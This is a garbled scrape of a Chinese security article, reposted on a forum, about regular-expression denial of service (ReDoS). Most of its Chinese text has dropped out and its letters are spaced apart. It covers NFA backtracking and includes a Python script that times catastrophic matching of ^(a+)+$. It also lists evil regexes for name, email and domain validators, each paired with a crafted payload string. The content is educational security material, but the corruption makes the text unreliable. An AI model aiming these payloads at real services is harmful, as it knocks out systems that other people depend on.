[10898] 2017-01-05_浅析ReDoS的原理与实践

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2017-01-05_浅析ReDoS的原理与实践 R e D o S M y K i n g s   F r e e B u f   2 0 1 7 - 0 1 - 0 5 * M y K i n g s F r e e B u f   使 使 ,   ,   1   : 1 . 1   R e g e x ( ) ( ) ( ) U R L :                     R e D o S ( R e g u l a r   e x p r e s s i o n   D e n i a l   o f   S e r v i c e ) R e g u l a r   E x p r e s s i o n ,   R e g e x n n n ( (
^ R e g E x p M u l t i l i n e           $ R e g E x p M u l t i l i n e           *             ^ n r $ n r z o * z z o z o o * { 0 , }
+             ?               .         使       z o + z o z o o z + { 1 , } d o ( e s ) ? d o d o e s d o ? { 0 , 1 } n n ( . $ l a m b d a _ 1 $ n )
( p a t t e r n ) p a t t e r n M a t c h e s V B S c r i p t 使 S u b M a t c h e s J S c r i p t 使 $ 0 $ 9 使       w 线   W   1 . 2   D o S   &   D D o S ( ) 使 使 访 ( ) 使         D D o S                 U D P I C M P p i n g   o f   d e a t h N T P D N S S Y N L A N D   a t t a c k C C ( ) [ A - Z a - z 0 - 9 _ ] [ ^ A - Z a - z 0 - 9 _ ] D e n i a l - o f - S e r v i c e   A t t a c k D i s t r i b u t e d   D e n i a l - o f - S e r v i c e   A t t a c k
1 . 3   F S M D F A   N F A F S M   f i n i t e   s t a t e   m a c h i n e   F S A   f i n i t e   s t a t e   a u t o m a t o n   ,   使 使 : D F A a w k ( ) e g r e p f l e x l e x M y S Q L P r o c m a i l   N F A G N U   E m a c s J a v a g r e p l e s s m o r e . N E T P C R E   l i b r a r y P e r l P H P P y t h o n R u b y s e t v i P O S I X   N F A m a w k M o r t i c e   L e r n   S y s t e m s   u t i l i t i e s G U N   E m a c s 使 D F A / N F A G N U   a w k   G N U   g r e p / e g r e p   T c l 2   R e D o S   2 . 1   ( : )   D F A N F A D F A N F A D F A N F A N F A ( l a z y ) ( b a c k t r a c k i n g ) ( b a c k r e f e r e n c e ) N F A
2 . 2   使 2 0 3 0 : g r e e d y N F A ^ ( a + ) + $ a a a a X N F A 2 ^ 4 = 1 6 a a a a a a a a a a X 2 ^ 1 0 = 1 0 2 4 a p y t h o n
  p y   :   C P U : # ! / u s r / b i n / e n v   p y t h o n #   c o d i n g :   u t f - 8 i m p o r t   r e i m p o r t   t i m e d e f   e x p ( t a r g e t _ s t r ) :         " " "         " " "         s 1   =   t i m e . t i m e ( )         f l a w _ r e g e x   =   r e . c o m p i l e ( ' ^ ( a + ) + $ ' )         f l a w _ r e g e x . m a t c h ( t a r g e t _ s t r )         s 2   =   t i m e . t i m e ( )         p r i n t ( " C o n s u m i n g   t i m e :   % . 4 f "   %   ( s 2 - s 1 ) ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         s t r _ l i s t   =   (                 ' a a a a a a a a a a a a a a a a X ' ,                       #   2 ^ 1 6                 ' a a a a a a a a a a a a a a a a a a X ' ,                   #   2 ^ 1 8                 ' a a a a a a a a a a a a a a a a a a a a X ' ,               #   2 ^ 2 0                 ' a a a a a a a a a a a a a a a a a a a a a a X ' ,           #   2 ^ 2 2                 ' a a a a a a a a a a a a a a a a a a a a a a a a X ' ,       #   2 ^ 2 4                 ' a a a a a a a a a a a a a a a a a a a a a a a a a a X ' ,   #   2 ^ 2 6                 ' a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a X ' ,   #   2 ^ 3 6         )         f o r   e v i l _ s t r   i n   s t r _ l i s t :                 p r i n t ( ' C u r r e n t :   % s '   %   e v i l _ s t r )                 e x p ( e v i l _ s t r )                 p r i n t ( ' - - ' * 4 0 ) r e d o s . p y $   p y t h o n   r e d o s . p y C u r r e n t :   a a a a a a a a a a a a a a a a X C o n s u m i n g   t i m e :   0 . 0 0 4 3 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - C u r r e n t :   a a a a a a a a a a a a a a a a a a X C o n s u m i n g   t i m e :   0 . 0 1 7 5 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - C u r r e n t :   a a a a a a a a a a a a a a a a a a a a X C o n s u m i n g   t i m e :   0 . 0 6 7 8 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - C u r r e n t :   a a a a a a a a a a a a a a a a a a a a a a X C o n s u m i n g   t i m e :   0 . 2 3 7 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - C u r r e n t :   a a a a a a a a a a a a a a a a a a a a a a a a X C o n s u m i n g   t i m e :   0 . 9 8 4 2 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - C u r r e n t :   a a a a a a a a a a a a a a a a a a a a a a a a a a X C o n s u m i n g   t i m e :   4 . 1 0 6 9 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - C u r r e n t :   a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a X
C P U 1 0 0 % ( ) : 2 . 3   使 ( a + ) + ( [ a - z A - Z ] + ) * ( a | a a ) + ( a | a ? ) + ( . * a ) { x }   |   f o r   x   >   1 0 :   a 2 . 4   : R e g e x :   ^ [ a - z A - Z ] + ( ( [ ' , . - ] [ a - z A - Z   ] ) ? [ a - z A - Z ] * ) * $ P a y l o a d :   a a a a a a a a a a a a a a a a a a a a a a a a a a a a ! J a v a   C l a s s n a m e R e g e x :   ^ ( ( [ a - z ] ) + . ) + [ A - Z ] ( [ a - z ] ) + $ P a y l o a d :   a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a ! E m a i l R e g e x :   ^ ( [ 0 - 9 a - z A - Z ] ( [ - . w ] * [ 0 - 9 a - z A - Z ] ) * @ ( ( [ 0 - 9 a - z A - Z ] ) + ( [ - w ] * [ 0 - 9 a - z A - Z ] ) * . ) + [ a - z A - Z ] { 2 , 9 } ) $ P a y l o a d :   a @ a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a ! R e g e x :   ^ [ a - z A - Z ] + ( ( [ ' , . - ] [ a - z A - Z   ] ) ? [ a - z A - Z ] * ) * s + & l t ; ( w [ - . _ w ] * w @ w [ - . _ w ] * w . w { 2 , 3 } ) & g t ; $ | ^ ( w [ - . _ w ] * w @ w [ - . _ w ] * w . w { 2 , 3 } ) $ P a y l o a d :   a a a a a a a a a a a a a a a a a a a a a a a a !
R e g e x :   ^ d * [ 0 - 9 ] ( | . d * [ 0 - 9 ] | ) * $ P a y l o a d :   1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 ! R e g e x :   ^ ( [ a - z 0 - 9 ] + ( [ - a - z 0 - 9 ] * [ a - z 0 - 9 ] + ) ? . ) { 0 , } ( [ a - z 0 - 9 ] + ( [ - a - z 0 - 9 ] * [ a - z 0 - 9 ] + ) ? ) { 1 , 6 3 } ( . [ a - z 0 - 9 ] { 2 , 7 } ) + $ P a y l o a d :   a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a ! 使 使 : 3   R e D o S   ,   :   3 . 1   3 . 2     p y t h o n $   p y t h o n   - c   " i m p o r t   r e ; r e . m a t c h ( ' ^ [ a - z A - Z ] + ( ( [ ' , . - ] [ a - z A - Z   ] ) ? [ a - z A - Z ] * ) * $ ' ,   ' a a a a a a a a a a a a a a a a a a a a a a a a a a a a ! ' ) " R e g e x W A F W e b W e b D B R e D o S
  使 ,   ,   ( ) 使 f u z z i n g   使 ,   :   s o n a r ,   :   z a b b i x 2 . 5   h t t p : / / b l o g . c s d n . n e t / c 6 0 1 0 9 7 8 3 6 / a r t i c l e / d e t a i l s / 4 7 0 4 0 7 0 3 h t t p : / / h o o o p o . i t e y e . c o m / b l o g / 5 4 8 0 8 7 h t t p : / / w w w . g u o z i w e b . c o m / a r c h i v e / 1 1 6 0 . h t m l h t t p s : / / s w t c h . c o m / ~ r s c / r e g e x p / r e g e x p 1 . h t m l h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / R e g u l a r _ e x p r e s s i o n _ D e n i a l _ o f _ S e r v i c e _ - _ R e D o S h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / R e D o S h t t p s : / / w w w . c h e c k m a r x . c o m / w p - c o n t e n t / u p l o a d s / 2 0 1 5 / 0 3 / R e D o S - A t t a c k s . p d f h t t p s : / / w w w . e x p l o i t - d b . c o m / d o c s / 3 8 1 4 9 . p d f h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / R e g u l a r _ e x p r e s s i o n _ D e n i a l _ o f _ S e r v i c e _ - _ R e D o S h t t p s : / / w w w . o w a s p . o r g / i m a g e s / 3 / 3 8 / 2 0 0 9 1 2 1 0 _ V A C - R E G E X _ D O S - A d a r _ W e i d m a n . p d f h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / O W A S P _ V a l i d a t i o n _ R e g e x _ R e p o s i t o r y * M y K i n g s F r e e B u f
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则